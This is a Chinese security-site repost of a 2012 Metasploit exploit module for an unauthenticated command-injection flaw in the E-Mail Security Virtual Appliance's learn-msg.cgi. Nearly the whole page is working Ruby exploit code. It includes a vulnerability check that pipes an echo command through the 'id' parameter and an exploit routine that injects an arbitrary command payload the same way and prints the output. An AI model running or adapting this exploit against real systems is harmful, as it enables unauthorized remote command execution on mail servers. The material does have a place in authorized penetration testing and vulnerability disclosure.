首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
E-Mail Security Virtual Appliance learn-msg.cgi Command Injection
来源:http://www.metasploit.com 作者:iJoo 发布时间:2012-08-23  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "E-Mail Security Virtual Appliance learn-msg.cgi Command Injection",
   'Description'    => %q{
     This module exploits a command injection vulnerability found in E-Mail Security
    Virtual Appliance. This module abuses the learn-msg.cgi file to execute arbitrary
    OS commands without authentication. This module has been successfully tested on the
    ESVA_2057 appliance.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'iJoo', # Vulnerability Discovery and PoC
     'juan vazquez' # Metasploit module
    ],
   'References'     =>
    [
     [ 'EDB', '20551' ]
    ],
   'Payload'        =>
    {
     'BadChars' => "",
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl python',
      }
    },
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,
   'Targets'        =>
    [
     ['ESVA_2057', {}],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Aug 16 2012",
   'DefaultTarget'  => 0))
 end


 def check
  clue = Rex::Text::rand_text_alpha(rand(5) + 5)
  res = send_request_cgi({
   'method' => 'GET',
   'uri'    => "/cgi-bin/learn-msg.cgi",
   'vars_get' => {
    'id' => "|echo #{clue};"
   }
  })

  # If the server doesn't return the default redirection, probably something is wrong
  if res and res.code == 200 and res.body =~ /#{clue}/
   return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
 end

 def exploit
  peer = "#{rhost}:#{rport}"

  print_status("#{peer} - Sending Command injection")
  res = send_request_cgi({
   'method' => 'GET',
   'uri'    => "/cgi-bin/learn-msg.cgi",
   'vars_get' => {
    'id' => "|#{payload.raw};"
   }
  })

  # If the server doesn't return the default redirection, probably something is wrong
  if not res or res.code != 200 or res.body !~ /meta http-equiv="refresh" content="0;URL=\/learned.html"/
   print_error("#{peer} - Probably command not executed, aborting!")
   return
  end

  print_good("#{peer} - Command executed successfully")
  print_status("#{peer} - Output: \n#{res.body.split("Learned tokens")[0]}")
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SAP Netweaver Dispatcher 7.0 E
·Symantec Web Gateway <= 5.0.3.
·Apache Struts2 Remote Code Exe
·Symantec Web Gateway <= 5.0.3.
·Vice City Multiplayer Server 0
·Sysax Multi Server 5.64 Create
·XODA 0.4.5 Arbitrary PHP File
·WireShark 1.8.2 & 1.6.0 Buffer
·Express Burn Plus 4.58 Buffer
·Sysax Multi-Server 5.64 Create
·Java 7 Applet Remote Code Exec
·VLC All versions - .m3u/.vlc D
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved